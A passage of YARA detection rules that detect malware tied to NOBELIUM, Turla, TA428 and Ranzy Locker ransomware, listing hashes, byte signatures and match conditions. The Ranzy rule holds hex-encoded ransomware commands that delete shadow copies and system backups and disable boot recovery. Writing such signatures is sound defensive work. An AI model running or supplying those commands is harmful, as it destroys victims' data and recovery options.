8d b4 24 40 04 00 00 48 8d 78 e8 e8 c6 05 fd ff 48 8b 84 24 90 00 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 ad 05 fd ff 48 8b 84 24 a0 00 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 94 05 fd ff 48 8d bc 24 00 04 00 00 be 4c e4 5b 00 e8 e2 8d ff ff 48 8d 94 24 e2 04 00 00 48 8d b4 24 00 04 00 00 48 8d bc 24 d0 00 00 00 e8 e5 c6 00 00 48 8b 84 24 00 04 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 4c 05 fd ff 48 8d bc 24 20 04 00 00 be 98 e4 5b 00 e8 9a 8d ff ff 48 8d 94 24 64 05 00 00 48 8d b4 24 20 04 00 00 48 8d bc 24 d0 00 00 00 e8 9d c6 00 00 48 8b 84 24 20 04 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 }
	condition:
		uint32( 0 ) == 0x464c457f and filesize > 300KB and 7 of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Boombox_May_2021_1 : FILE
{
	meta:
		description = "Detect BoomBox malware"
		author = "Arkbird_SOLG"
		id = "b2629c5b-1fb0-5ea1-8661-faf8f1d6b578"
		date = "2021-05-28"
		modified = "2021-06-05"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-01/NOBELIUM/MAL_BoomBox_May_2021_1.yara#L1-L18"
		license_url = "N/A"
		logic_hash = "b88848ead9c992392c99e88a25541b72d825fbd32c3eb83fefc18e7cfbd08cc8"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "0acb884f2f4cfa75b726cb8290b20328c8ddbcd49f95a1d761b7d131b95bafec"
		hash2 = "8199f309478e8ed3f03f75e7574a3e9bce09b4423bd7eb08bb5bff03af2b7c27"
		tlp = "White"
		adversary = "NOBELIUM"
	strings:
		$s1 = { 13 30 06 00 90 01 00 00 07 00 00 11 1f 1a 28 53 00 00 0a 25 72 bc 05 00 70 28 1e 00 00 0a 0a 06 28 54 00 00 0a 2d 07 06 28 55 00 00 0a 26 72 ea 05 00 70 28 1e 00 00 0a 0b 07 28 54 00 00 0a 2d 22 07 28 55 00 00 0a 26 07 72 12 06 00 70 28 1e 00 00 0a 0b 07 28 54 00 00 0a 2d 07 07 28 55 00 00 0a 26 73 08 00 00 06 25 7e 08 00 00 04 72 1c 06 00 70 6f 06 00 00 06 0c 08 2c 46 08 8e 69 1f 11 59 8d 2b 00 00 01 13 04 08 1f 0a 11 04 16 11 04 8e 69 28 56 00 00 0a 73 05 00 00 06 11 04 7e 09 00 00 04 7e 0a 00 00 04 6f 03 00 00 06 13 05 06 72 3c 06 00 70 28 1e 00 00 0a 11 05 28 57 00 00 0a 06 72 3c 06 00 70 28 1e 00 00 0a 28 58 00 00 0a 2c 46 7e 59 00 00 0a 72 64 06 00 70 17 6f 5a 00 00 0a 13 06 11 06 72 c0 06 00 70 6f 5b 00 00 0a 2d 26 11 06 72 c0 06 00 70 72 e8 06 00 70 06 72 3c 06 00 70 28 1e 00 00 0a 72 12 07 00 70 28 5c 00 00 0a 6f 5d 00 00 0a 7e 08 00 00 04 72 38 07 00 70 6f 06 00 00 06 0d 09 2c 46 09 8e 69 1f 11 59 8d 2b 00 00 01 13 07 09 1f 0a 11 07 16 11 07 8e 69 28 56 00 00 0a 73 05 00 00 06 11 07 7e 09 00 00 04 7e 0a 00 00 04 6f 03 00 00 06 13 08 07 72 58 07 00 70 28 1e 00 00 0a 11 08 28 57 00 00 0a 06 72 3c 06 00 70 28 1e 00 00 0a 28 58 00 00 0a 2c 16 72 84 07 00 70 06 72 9e 07 00 70 28 1e 00 00 0a 28 5e 00 00 0a 26 2a }
		$s2 = { 13 30 05 00 11 01 00 00 05 00 00 11 02 7b 02 00 00 04 72 0b 03 00 70 28 1e 00 00 0a 28 30 00 00 0a 74 2d 00 00 01 25 20 c0 d4 01 00 6f 31 00 00 0a 25 72 86 01 00 70 6f 32 00 00 0a 25 72 98 01 00 70 6f 34 00 00 0a 25 6f 35 00 00 0a 72 71 02 00 70 72 8d 02 00 70 03 28 1e 00 00 0a 6f 36 00 00 0a 25 72 2b 03 00 70 6f 3f 00 00 0a 72 9d 02 00 70 04 72 5d 03 00 70 28 37 00 00 0a 0a 25 6f 35 00 00 0a 72 bb 02 00 70 06 6f 38 00 00 0a 25 6f 40 00 00 0a 05 16 05 8e 69 6f 2e 00 00 0a 6f 39 00 00 0a 74 1a 00 00 01 0b 07 6f 3a 00 00 0a 20 c8 00 00 00 33 64 07 6f 3e 00 00 0a 73 41 00 00 0a 6f 42 00 00 0a 0c 02 7b 06 00 00 04 08 6f 43 00 00 0a 6f 44 00 00 0a 17 6f 45 00 00 0a 6f 46 00 00 0a 72 02 04 00 70 28 47 00 00 0a 2c 29 02 7b 03 00 00 04 08 6f 43 00 00 0a 26 02 7b 04 00 00 04 08 6f 43 00 00 0a 26 02 7b 05 00 00 04 08 6f 43 00 00 0a 26 17 2a 16 2a 16 2a }
		$s3 = { 13 30 04 00 6d 01 00 00 0a 00 00 11 72 f2 07 00 70 28 54 00 00 0a 39 5d 01 00 00 72 [2] 00 70 72 f2 07 00 70 28 5e 00 00 0a 26 1f 1a 28 53 00 00 0a 72 ?? 08 00 70 28 1e 00 00 0a 28 58 00 00 0a 3a 32 01 00 00 1f 0a 8d 2b 00 00 01 25 d0 0c 00 00 04 28 67 00 00 0a 0a 1d 8d 2b 00 00 01 25 d0 0b 00 00 04 28 67 00 00 0a 0b 28 4b 00 00 0a 6f 4c 00 00 0a 28 0c 00 00 06 26 72 d5 00 00 70 28 49 00 00 0a 6f 4a 00 00 0a 28 0c 00 00 06 0c 73 0a 00 00 06 6f 09 00 00 06 0d 09 2c 56 28 68 00 00 0a 09 6f 61 00 00 0a 13 05 73 05 00 00 06 11 05 7e 09 00 00 04 7e 0a 00 00 04 6f 04 00 00 06 13 06 06 11 06 28 0d 00 00 06 13 07 11 07 07 28 0d 00 00 06 13 07 73 08 00 00 06 7e 08 00 00 04 72 ?? 08 00 70 08 28 10 00 00 0a 11 07 6f 07 00 00 06 26 28 0b 00 00 06 28 4b 00 00 0a 6f 4c 00 00 0a 13 04 11 04 72 d5 00 00 70 28 69 00 00 0a 2c 65 73 02 00 00 06 11 04 6f 01 00 00 06 13 08 11 08 2c 53 73 05 00 00 06 28 68 00 00 0a 11 08 6f 61 00 00 0a 7e 09 00 00 04 7e 0a 00 00 04 6f 04 00 00 06 13 09 06 11 09 28 0d 00 00 06 13 0a 11 0a 07 28 0d 00 00 06 13 0a 73 08 00 00 06 7e 08 00 00 04 72 ?? 08 00 70 08 28 10 00 00 0a 11 0a 6f 07 00 00 06 26 2a }
		$s4 = { 1b 30 05 00 b5 00 00 00 06 00 00 11 72 76 05 00 70 72 d5 00 00 70 28 49 00 00 0a 6f 4a 00 00 0a 28 10 00 00 0a 0a 72 84 05 00 70 28 4b 00 00 0a 6f 4c 00 00 0a 28 10 00 00 0a 0b 72 90 05 00 70 0c 28 4d 00 00 0a 28 49 00 00 0a 6f 4e 00 00 0a 13 04 16 13 05 2b 2a 11 04 11 05 9a 13 06 11 06 6f 4f 00 00 0a 18 33 13 08 11 06 6f 50 00 00 0a 72 98 05 00 70 28 37 00 00 0a 0c 11 05 17 58 13 05 11 05 11 04 8e 69 32 ce 28 51 00 00 0a 6f 52 00 00 0a 0d 72 9c 05 00 70 1a 8d 10 00 00 01 25 16 06 a2 25 17 07 a2 25 18 08 a2 25 19 09 a2 28 1d 00 00 0a 13 07 de 06 26 14 13 07 de 00 11 07 2a 00 00 00 01 10 00 00 00 00 00 00 ac ac 00 06 10 00 00 01 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 6KB and 3 of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Nativezone_May_2021_1 : FILE
{
	meta:
		description = "Detect NativeZone malware"
		author = "Arkbird_SOLG"
		id = "5b858a8d-6e6a-5712-a83a-229bed1c7872"
		date = "2021-05-28"
		modified = "2021-06-05"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-01/NOBELIUM/MAL_NativeZone_May_2021_1.yara#L1-L17"
		license_url = "N/A"
		logic_hash = "9281784100e922fe3ef64e7c112276ffa5f8691ab4f24f1b68fbb0495e449bd3"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "136f4083b67bc8dc999eb15bb83042aeb01791fc0b20b5683af6b4ddcf0bbc7d"
		hash2 = "3b94cc71c325f9068105b9e7d5c9667b1de2bde85b7abc5b29ff649fd54715c4"
		tlp = "White"
		adversary = "NOBELIUM"
	strings:
		$s1 = { 8b ff 55 8b ec 81 ec 1c 01 00 00 a1 00 ?? 01 10 33 c5 89 45 fc 8b 4d 0c 53 8b 5d 14 56 8b 75 08 89 b5 fc fe ff ff 89 9d f8 fe ff ff 57 8b 7d 10 89 bd 00 ff ff ff 85 f6 75 25 85 c9 74 21 e8 [2] ff ff c7 00 16 00 00 00 e8 [2] ff ff 8b 4d fc 5f 5e 33 cd 5b e8 [2] ff ff 8b e5 5d c3 85 ff 74 db 85 db 74 d7 c7 85 f4 fe ff ff 00 00 00 00 83 f9 02 72 d8 49 0f af cf 03 ce 89 8d 04 ff ff ff 8b c1 33 d2 2b c6 f7 f7 8d 78 01 83 ff 08 0f 87 dc 00 00 00 8b bd 00 ff ff ff 3b ce 0f 86 a1 00 00 00 8d 14 37 89 95 ec fe ff ff 8d 49 00 8b c6 8b f2 89 85 08 ff ff ff 3b f1 77 31 8b ff 50 56 8b cb ff 15 [2] ?? 10 ff d3 83 c4 08 85 c0 7e 0a 8b c6 89 85 08 ff ff ff eb 06 8b 85 08 ff ff ff 8b 8d 04 ff ff ff 03 f7 3b f1 76 d1 8b d1 3b c1 74 34 2b c1 8b df 89 85 08 ff ff ff 90 8a 0c 10 8d 52 01 8b b5 08 ff ff ff 8a 42 ff 88 44 16 ff 8b c6 88 4a ff 83 eb 01 75 e3 8b 9d f8 fe ff ff 8b 8d 04 ff ff ff 8b b5 fc fe ff ff 2b cf 8b 95 ec fe ff ff 89 8d 04 ff ff ff 3b }
		$s2 = { 8b b5 00 ff ff ff 8b cb 8b 85 fc fe ff ff d1 ef 0f af fe 03 f8 57 50 ff 15 [3] 10 ff d3 83 c4 08 85 c0 7e 10 56 57 ff b5 fc fe ff ff e8 1b fe ff ff 83 c4 0c ff b5 04 ff ff ff 8b cb ff b5 fc fe ff ff ff 15 [3] 10 ff d3 83 c4 08 85 c0 7e 15 56 ff b5 04 ff ff ff ff b5 fc fe ff ff e8 e9 fd ff ff 83 c4 0c ff b5 04 ff ff ff 8b cb 57 ff 15 [3] 10 ff d3 83 c4 08 85 c0 7e 10 56 ff b5 04 ff ff ff 57 e8 c1 fd ff ff 83 c4 0c 8b 85 04 ff ff ff 8b d8 8b b5 fc fe ff ff 8b 95 00 ff ff ff 89 85 08 ff ff ff 8d 64 24 00 3b fe 76 37 03 f2 89 b5 f0 fe ff ff 3b f7 73 25 8b 8d f8 fe ff ff 57 56 ff 15 [3] 10 ff 95 f8 fe ff ff 8b 95 00 ff ff ff 83 c4 08 85 c0 7e d3 3b fe 77 3d 8b 85 04 ff ff ff 8b 9d f8 fe ff ff 03 f2 3b f0 77 1f 57 56 8b cb ff 15 [3] 10 ff d3 8b 95 00 ff ff ff 83 c4 08 85 c0 8b 85 04 ff ff ff 7e db 8b 9d 08 ff ff ff 89 b5 f0 fe ff ff 8b b5 f8 fe ff ff eb 06 8d 9b 00 00 00 00 8b 95 00 ff ff ff 8b c3 2b da 89 85 08 ff ff ff 3b df 76 1f 57 53 8b ce ff 15 [3] 10 ff d6 83 c4 08 85 c0 7f d9 8b 95 00 ff ff ff 8b 85 08 ff ff ff 8b b5 f0 fe ff ff 89 9d 08 ff ff ff }
		$s3 = { 8b 45 f4 89 7d f8 8d 04 86 8b c8 89 45 e8 8b c7 89 4d f4 3b 45 dc 74 5b 8b d6 2b d7 89 55 e4 8b 00 8b d0 89 45 ec 8d 42 01 89 45 f0 8a 02 42 84 c0 75 f9 2b 55 f0 8d 42 01 50 ff 75 ec 89 45 f0 8b 45 e8 2b c1 03 45 fc 50 51 e8 [2] 00 00 83 c4 10 85 c0 75 72 8b 45 f8 8b 55 e4 8b 4d f4 89 0c 02 83 c0 04 03 4d f0 89 4d f4 89 45 f8 3b 45 dc 75 ac 8b 45 0c 89 5d f8 89 30 8b f3 53 e8 [2] ff ff 59 8b 45 dc 8b d7 2b c2 89 55 e4 83 c0 03 c1 e8 02 39 55 dc 1b c9 f7 d1 23 c8 89 4d e8 74 18 8b f1 ff 37 e8 [2] ff ff 43 8d 7f 04 59 3b }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 50KB and all of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Envyscout_May_2021_1 : FILE
{
	meta:
		description = "Detect EnvyScout downloader"
		author = "Arkbird_SOLG"
		id = "645f60d1-7c95-515c-a88e-d8528cf8b644"
		date = "2021-05-28"
		modified = "2021-06-02"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-01/NOBELIUM/MAL_EnvyScout_May_2021_1.yara#L1-L20"
		license_url = "N/A"
		logic_hash = "7ce4fd18c88f7ea7486c51fc0b673d178bd26ecc2f4a39ec9c5a4a71aaa0daa1"
		score = 75
		quality = 73
		tags = "FILE"
		hash1 = "279d5ef8f80aba530aaac8afd049fa171704fc703d9cfe337b56639732e8ce11"
		hash2 = "9059c5b46dce8595fcc46e63e4ffbceeed883b7b1c9a2313f7208a7f26a0c186"
		tlp = "White"
		adversary = "NOBELIUM"
	strings:
		$s1 = "==typeof window&&window.window===window?window:" fullword ascii
		$s2 = "==typeof self&&self.self===self?self:" fullword ascii
		$s3 = "0===t?t={autoBom:!1}:" fullword ascii
		$s4 = "_global.saveAs=saveAs.saveAs=saveAs" fullword ascii
		$s5 = "navigator.userAgent" fullword ascii
		$s6 = { 6e 65 77 20 42 6c 6f 62 28 5b [1-12] 5d 2c 20 7b 74 79 70 65 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 22 7d 29 3b 73 61 76 65 41 73 28 }
	condition:
		filesize > 100KB and 5 of ( $s* )
}


rule ARKBIRD_SOLG_Ran_Ranzy_Locker_Nov_2020_1 : FILE
{
	meta:
		description = " Detect Ranzy Locker (RAAS)"
		author = "Arkbird_SOLG"
		id = "7e81d73a-ef18-5f89-b6b3-f56212d30b4a"
		date = "2020-11-19"
		modified = "2020-11-19"
		reference = "https://labs.sentinelone.com/ranzy-ransomware-better-encryption-among-new-features-of-thunderx-derivative/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-19/Ranzy_Locker/Ran_Ranzy_Locker_Nov_2020_1.yar#L1-L36"
		license_url = "N/A"
		logic_hash = "e27017fa196d14b88c5cb682a070d10e42b63f9e21189d9917c0ae03c47216cc"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "393fd0768b24cd76ca653af3eba9bff93c6740a2669b30cf59f8a064c46437a2"
		hash2 = "90691a36d1556ba7a77d0216f730d6cd9a9063e71626489094313c0afe85a939"
		hash3 = "ade5d0fe2679fb8af652e14c40e099e0c1aaea950c25165cebb1550e33579a79"
		hash4 = "bbf122cce1176b041648c4e772b230ec49ed11396270f54ad2c5956113caf7b7"
		hash5 = "c4f72b292750e9332b1f1b9761d5aefc07301bc15edf31adeaf2e608000ec1c9"
	strings:
		$s1 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550" ascii
		$s2 = "776D69632E65786520534841444F57434F5059202F6E6F696E746572616374697665" ascii
		$s3 = "76737361646D696E2E6578652044656C65746520536861646F7773202F416C6C202F5175696574" ascii
		$s4 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550202D64656C6574654F6C64657374" ascii
		$s5 = "534F4654574152455C4D6963726F736F66745C45524944" ascii
		$s6 = "626364656469742E657865202F736574207B64656661756C747D20626F6F74737461747573706F6C6963792069676E6F7265616C6C6661696C75726573"
		$s7 = "7B5549447D" ascii
		$s8 = "7B5041545445524E5F49447D" ascii
		$s9 = "726561646D652E747874" ascii
		$s10 = "226E6574776F726B223A22" ascii
		$s11 = "226C616E67223A22" ascii
		$s12 = "7B4558547D" ascii
		$s13 = "476C6F62616C5C33353335354641352D303745392D343238422D423541352D314338384341423242343838"
		$s14 = "433A5C50726F6772616D2046696C65735C4D6963726F736F66742053514C20536572766572" ascii
		$s15 = "433A5C50726F6772616D2046696C65732028783836295C4D6963726F736F66742053514C20536572766572" ascii
		$s16 = "227375626964223A22" ascii
		$s17 = "22657874223A22" ascii
		$s18 = "226B6579223A22" ascii
		$seq1 = { 8b 46 50 8d 4d a4 83 7d d4 10 53 8b 1d 14 80 41 00 89 45 a4 8d 45 c0 0f 43 45 c0 51 50 6a 00 6a 01 6a 00 ff 35 e8 1c 42 00 ff d3 85 c0 0f 84 b9 00 00 00 8b 46 68 8d 4d a4 83 7d ec 10 57 89 45 a4 8d 45 d8 0f 43 45 d8 33 ff 51 50 6a 00 47 57 6a 00 ff 35 e8 1c 42 00 ff d3 85 c0 0f 84 8a 00 00 00 c6 45 fc 02 33 db 8b 45 e8 8b 4d d0 03 c1 6a 0f 5a 89 5d b8 89 55 bc 88 5d a8 89 7d a4 3b c2 76 15 88 5d a0 8d 4d a8 ff 75 a0 50 e8 78 02 00 00 8b 4d d0 89 5d b8 83 7d d4 10 8d 45 c0 51 0f 43 45 c0 8d 4d a8 50 e8 ca de ff ff 83 7d ec 10 8d 45 d8 ff 75 e8 0f 43 45 d8 8d 4d a8 50 e8 b3 de ff ff 8d 45 a8 50 8d 4e 70 e8 b8 d8 ff ff 8d 4d a8 e8 3f bf ff ff 8d 4d d8 e8 37 bf ff ff 8d 4d c0 e8 2f bf ff ff b0 01 eb 12 8d 4d d8 e8 23 bf ff ff 8d 4d c0 e8 1b bf ff ff 32 c0 e8 3f f1 }
		$seq2 = { 8b 75 08 33 ff 8b 55 0c 33 c0 89 b5 68 fb ff ff 89 bd ac fb ff ff c7 85 b0 fb ff ff 07 00 00 00 66 89 85 9c fb ff ff 89 7d fc 39 7a 10 0f 84 da 00 00 00 6a 02 0f 57 c0 8d 8d 84 fb ff ff 58 66 0f 13 85 bc fb ff ff 66 89 85 b4 fb ff ff e8 6e ac ff ff 83 78 14 10 72 02 8b 00 50 ff 15 18 82 41 00 8d 8d 84 fb ff ff 89 85 b8 fb ff ff e8 8f a8 ff ff 68 87 69 00 00 ff 15 0c 82 41 00 bb 01 04 00 00 66 89 85 b6 fb ff ff 53 8d 85 c4 fb ff ff 57 50 e8 fd 2d 00 00 83 c4 0c 8d 7d cc 33 c0 6a 08 59 6a 08 6a 20 f3 ab 8d 45 cc 50 53 8d 85 c4 fb ff ff 50 6a 10 8d 85 b4 fb ff ff 50 ff 15 1c 82 41 00 85 c0 75 45 8d 85 c4 fb ff ff 50 8d 8d 6c fb ff ff e8 7f a8 ff ff 8b d0 c6 45 fc 01 8d 8d 84 fb ff ff e8 26 ab ff ff 50 8d 8d 9c fb ff ff e8 88 bf ff ff 8d 8d 84 fb ff ff e8 c8 c2 ff ff 8d 8d 6c fb ff ff e8 f5 a7 ff ff 8d 85 9c fb }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 80KB and 10 of ( $s* ) and 1 of ( $seq* )
}

rule ARKBIRD_SOLG_APT_Turla_Comrat_Chinch_V4_Jan_2021_1 : FILE
{
	meta:
		description = "Detect ComRAT V4 (Chinch) used by APT Turla group"
		author = "Arkbird_SOLG"
		id = "7d4daf3d-eed9-59fb-a4b9-fbc1c72adfcd"
		date = "2021-01-23"
		modified = "2021-01-26"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-01-23/Turla/APT_Turla_ComRAT_Chinch_V4_Jan_2021_1.yar#L1-L28"
		license_url = "N/A"
		logic_hash = "0d92207c4716f8d2fbf1d4f0cf3a33c38417fdd1565c87c251f7ff290135c435"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "a62e1a866bc248398b6abe48fdb44f482f91d19ccd52d9447cda9bc074617d56"
	strings:
		$com1 = "state->_reprocess_current_token || token.type != GUMBO_TOKEN_START_TAG || token.v.start_tag.attributes.data == NULL" fullword wide
		$com2 = "fragment_ctx != GUMBO_TAG_LAST" fullword wide
		$com3 = "has_matching_a == 1" fullword wide
		$com4 = "ODFA: %u %d %u" fullword ascii
		$com5 = "Custom browser path is empty." fullword ascii
		$com6 = "Default browser path is:" fullword ascii
		$com7 = "Search for browser path." fullword ascii
		$com8 = "Cant retrieve any path." fullword ascii
		$com9 = "Custom browser path is:" fullword ascii
		$jmp1 = { 2e 64 6c 6c 00 55 4d 45 50 00 56 46 45 50 }
		$jmp2 = { 33 c9 e9 ?? ?? ff ff cc cc cc cc cc cc cc cc cc }
		$seq1 = { 40 55 48 8d ac 24 00 fd ff ff 48 81 ec 00 04 00 00 48 8b 05 80 46 1b 00 48 33 c4 48 89 85 d0 02 00 00 b9 d8 02 00 00 e8 f4 8b 07 00 4c 8b 0d c5 a5 1c 00 48 8d 95 00 01 00 00 4c 8b 05 af a5 1c 00 48 8d 0d c8 9d 1c 00 4d 2b c8 48 89 05 ae 8a 1d 00 e8 a9 7e fc ff 48 83 bd 18 01 00 00 10 48 8d 8d 00 01 00 00 48 0f 43 8d 00 01 00 00 ff 15 24 f3 0c 00 48 8b 15 25 f3 0c 00 48 8b c8 e8 6d 59 fb ff 48 8b 95 18 01 00 00 48 83 fa 10 }
		$seq2 = { 41 8b 41 08 83 e8 09 83 f8 08 }
		$seq3 = { 48 8b 03 48 8b cb ff 50 08 48 8b 95 f8 01 00 00 48 83 fa 08 72 39 48 8b 8d e0 }
		$seq4 = { b8 09 00 00 00 44 88 a5 60 01 00 00 48 8d 8d 60 01 00 00 f3 0f 7f 85 70 01 00 00 e8 c1 19 fc ff ba df 5e ca 76 48 8d 4d 50 e8 63 ea fc ff 48 8b c8 48 8d 95 60 01 00 00 e8 c4 cb ff ff 0f b6 15 dd 8b 1c 00 48 8b c8 e8 35 cd ff ff 48 8b 95 78 01 00 00 48 83 fa 10 72 34 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 1000KB and 6 of ( $com* ) and all of ( $jmp* ) and 3 of ( $seq* )
}

rule ARKBIRD_SOLG_MAL_Mailo_Jun_2021_1 : FILE
{
	meta:
		description = "Detect the Mach-O malware"
		author = "Arkbird_SOLG"
		id = "4c975200-fce4-5a2a-b565-6d397c4e0b1c"
		date = "2021-06-09"
		modified = "2021-06-21"
		reference = "https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-19/MAIL-O/MAL_MailO_Jun_2021_1.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "165c5fd90039c14ef1fa1e80bb7f14761e991b09560c5f1da2ddf9a0eadee623"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "3a77f108e32b34e184f9ade66292cd73abbd297b4829ba63a973a400cc7f3f9f"
		hash2 = "603881f4c80e9910ab22f39717e8b296910bff08cd0f25f78d5bff1ae0dce5d7"
		tlp = "White"
		adversary = "TA428"
	strings:
		$seq1 = { 48 8b ce e8 9e 0c f9 ff 48 8b 5c 24 20 48 8b 4c 24 28 49 8b d7 41 ff c5 ff 15 20 72 08 00 4c 8b f8 48 85 c0 0f 85 4c ff ff ff 48 8b b4 24 88 00 00 00 48 8b 4c 24 28 33 d2 ff 15 f7 71 08 00 4c 8b ac 24 90 00 00 00 4d 85 e4 0f 84 7f 01 00 00 48 8b ac 24 80 00 00 00 4d 8b c4 48 8b cd 48 8b d6 ff 53 48 49 8b cc 8b f0 e8 88 2c f8 ff 4c 8b bc 24 98 00 00 00 85 c0 0f 8e fb 00 00 00 0f 1f 84 00 00 00 00 00 41 8b d6 49 8b cc e8 95 2e f8 ff 48 8b f8 44 3b f6 75 75 49 89 07 e9 c4 00 00 00 48 8b 5c 24 20 45 33 c0 48 8b ce 41 8d 50 01 e8 a1 4b f9 ff 85 c0 0f 84 43 ff ff ff 49 8b d7 48 8b cb e8 ce e7 ff ff 48 8b d8 48 85 c0 0f 84 2c ff ff ff 49 8b cf ff 15 71 71 08 00 8b 15 ff e0 12 00 4c 8b c3 48 8b ce 48 89 03 e8 45 0c f9 ff 4d 85 e4 75 08 e8 2b 2b f8 ff 4c 8b e0 48 8b d6 49 8b cc e8 cd 2c f8 ff e9 fa fe ff ff 8b 15 ce e0 12 00 48 8b cf e8 ca 0b f9 ff 48 8b d8 48 85 c0 74 39 48 8b 48 10 ff 15 d8 70 08 00 48 8b 4b 08 33 d2 ff 15 d4 70 08 00 48 8b 0b 48 85 c9 74 06 ff 15 0e 71 08 00 41 b8 3a 06 00 00 48 8d 15 b1 71 0d 00 }
		$seq2 = { 4c 8d 84 24 d0 00 00 00 4c 89 b4 24 90 01 00 00 48 8d 15 d8 a2 17 00 48 8b cd e8 50 e1 ff ff 8b 44 24 40 83 f8 02 74 05 83 f8 17 75 0c 83 7c 24 44 01 75 05 41 b6 01 eb 03 45 32 f6 48 8b 5c 24 28 45 84 f6 74 14 f6 85 74 0e 00 00 08 74 0b 48 8b d3 48 8b ce e8 15 03 00 00 48 8b cb e8 5d f4 ff ff 45 84 f6 74 17 f7 85 74 0e 00 00 00 10 00 00 74 0b 48 8b d3 48 8b cd e8 d1 01 00 00 48 83 bd 38 07 00 00 00 74 33 b2 01 48 8b cd e8 1d f1 fe ff 48 8b 8d 40 07 00 00 45 33 c0 48 8b d3 ff 95 38 07 00 00 33 d2 48 8b cd 44 8b f0 e8 fd f0 fe ff 41 83 fe 02 75 51 41 b4 01 8b 44 24 40 83 f8 02 74 05 83 f8 17 75 5a 48 8d 4c 24 50 e8 ac 81 02 00 44 8b 44 24 40 44 8b c8 48 8b d3 48 8b ce e8 d9 f8 ff ff 8b f8 85 c0 74 37 48 8b d3 48 8b ce e8 68 eb ff ff b8 07 00 00 00 83 ff 01 0f 44 f8 }
		$seq3 = { 48 8b d0 48 8d 4d 80 41 ff d4 48 8b cb ff 15 f2 fa 1e 00 48 8d 95 e0 00 00 00 48 8d 4d 80 41 ff d7 f6 47 3c 02 48 8d 8d 90 00 00 00 48 0f 44 4c 24 50 e8 f6 04 00 00 4c 8b f0 48 85 c0 0f 84 05 fe ff ff 48 8b 47 28 49 8b d6 4c 8b 0f 4c 8b 47 10 48 85 c0 74 53 48 8d 8d e0 00 00 00 48 89 4c 24 40 48 8d 0d 94 90 15 00 48 89 44 24 38 8b 47 38 89 44 24 30 48 8b 47 08 48 89 44 24 28 48 8b 44 24 58 48 89 44 24 20 e8 e0 42 fc ff 48 8b 4f 28 48 8d 15 b9 8e 15 00 48 8b d8 e8 3d 7a fd ff 85 c0 74 2a ff 47 38 eb 25 48 8d 85 e0 00 00 00 48 89 44 24 28 48 8d 0d a1 90 15 00 48 8b 44 24 58 48 89 44 24 20 e8 a2 42 fc ff 48 8b d8 49 8b ce ff 15 2e fa 1e 00 48 85 db 0f 84 68 fd ff ff 4c 8b 47 20 4d 85 c0 74 27 48 8b d3 48 8d 0d aa 90 15 00 e8 75 42 fc ff 48 8b cb 4c 8b f0 ff 15 01 fa 1e 00 4d 85 f6 0f 84 3b fd ff ff 49 8b de 4c 8b 47 30 4d 85 c0 74 27 48 8b d3 48 8d 0d 8a 90 15 00 e8 45 42 fc ff 48 8b cb 4c 8b f0 ff 15 d1 f9 1e 00 4d 85 f6 0f 84 0b fd ff ff 49 8b de f6 47 3c 02 74 27 48 8b d3 48 8d 0d 75 90 15 00 e8 18 42 fc ff 48 8b cb 48 8b f8 ff 15 a4 f9 1e 00 48 }
		$seq4 = { 48 81 ec 08 03 00 00 48 8b 05 e2 61 23 00 48 33 c4 48 89 84 24 f0 02 00 00 33 d2 48 8d 8c 24 e0 00 00 00 41 b8 08 02 00 00 e8 c2 f5 16 00 41 b8 04 01 00 00 48 8d 94 24 e0 00 00 00 48 8d 0d c5 94 21 00 ff 15 07 ee 18 00 48 8d 8c 24 e0 00 00 00 ff 15 d1 ef 18 00 85 c0 74 63 33 d2 48 8d 4c 24 70 44 8d 42 68 e8 85 f5 16 00 b8 05 00 00 00 c7 44 24 70 68 00 00 00 66 89 84 24 b0 00 00 00 48 8d 8c 24 e0 00 00 00 48 8d 44 24 50 45 33 c9 48 89 44 24 48 45 33 c0 48 8d 44 24 70 33 d2 48 89 44 24 40 33 c0 48 89 44 24 38 48 89 44 24 30 89 44 24 28 89 44 24 20 ff 15 52 ed 18 00 48 8b 8c 24 f0 02 00 00 48 33 cc e8 c2 cf 16 00 48 }
